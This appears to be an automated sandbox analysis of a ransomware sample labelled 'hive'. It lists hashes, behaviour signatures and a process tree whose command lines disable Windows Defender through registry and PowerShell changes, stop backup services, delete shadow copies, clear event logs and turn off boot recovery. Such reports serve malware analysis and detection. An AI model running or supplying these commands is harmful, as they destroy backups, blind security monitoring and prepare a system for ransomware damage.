Analysis

  • max time kernel
    107s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/02/2024, 16:34

General

  • Target

    2024-02-19_5384c6825a5707241c11d78529dbbfee_hive.exe

  • Size

    3.3MB

  • MD5

    5384c6825a5707241c11d78529dbbfee

  • SHA1

    85f5587e8ad534c2e5de0e72450b61ebda93e4fd

  • SHA256

    3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21

  • SHA512

    856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f

  • SSDEEP

    49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-02-19_5384c6825a5707241c11d78529dbbfee_hive.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-02-19_5384c6825a5707241c11d78529dbbfee_hive.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:224
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3064
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:896
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:4696
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:748
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:676
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4628
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:3784
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1488
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:492
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2628
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:2516
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3024
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:4876
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_248cb" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4884
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_248cb" /y
                      3⤵
                        PID:4620
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4764
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:5108
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:5044
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4128
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1096
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4480
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4088
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_248cb" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4912
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:3932
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:4224
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:5000
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:4536
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:1728
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4448
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4744
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1696
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2368
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1540
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:5036
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:4200
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:4512
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:4296
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:2076
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:3800
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:4992
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:1112
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:3588
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1812
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:3164
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:1148
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:4164
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:932
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:4544
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:4624
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:2544
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:3820
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:1008
                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:3268
                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:1840
                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:3924
                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:3984
                                                                          • C:\Windows\SYSTEM32\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:2176
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:788
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:876
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:220
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4948
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2424
                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:4304
                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:2948
                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:1844
                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:400
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:1544
                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:1672
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:4012

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

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                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                d85ba6ff808d9e5444a4b369f5bc2730

                                                                                SHA1

                                                                                31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                SHA256

                                                                                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                SHA512

                                                                                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                77d622bb1a5b250869a3238b9bc1402b

                                                                                SHA1

                                                                                d47f4003c2554b9dfc4c16f22460b331886b191b

                                                                                SHA256

                                                                                f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                                                                                SHA512

                                                                                d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_54r2vexi.qx0.ps1

                                                                                Filesize

                                                                                60B

                                                                                MD5

                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                SHA1

                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                SHA256

                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                SHA512

                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                              • memory/1544-18-0x00007FFA4FBB0000-0x00007FFA50671000-memory.dmp

                                                                                Filesize

                                                                                10.8MB

                                                                              • memory/1544-13-0x00000150D4710000-0x00000150D4720000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                              • memory/1544-15-0x00000150D4710000-0x00000150D4720000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                              • memory/1544-2-0x00000150D6890000-0x00000150D68B2000-memory.dmp

                                                                                Filesize

                                                                                136KB

                                                                              • memory/1544-14-0x00000150D4710000-0x00000150D4720000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                              • memory/1544-12-0x00007FFA4FBB0000-0x00007FFA50671000-memory.dmp

                                                                                Filesize

                                                                                10.8MB

                                                                              • memory/4012-20-0x00007FFA4FBB0000-0x00007FFA50671000-memory.dmp

                                                                                Filesize

                                                                                10.8MB

                                                                              • memory/4012-30-0x000001B3C3140000-0x000001B3C3150000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                              • memory/4012-31-0x000001B3C3140000-0x000001B3C3150000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                              • memory/4012-33-0x000001B3C3140000-0x000001B3C3150000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                              • memory/4012-35-0x00007FFA4FBB0000-0x00007FFA50671000-memory.dmp

                                                                                Filesize

                                                                                10.8MB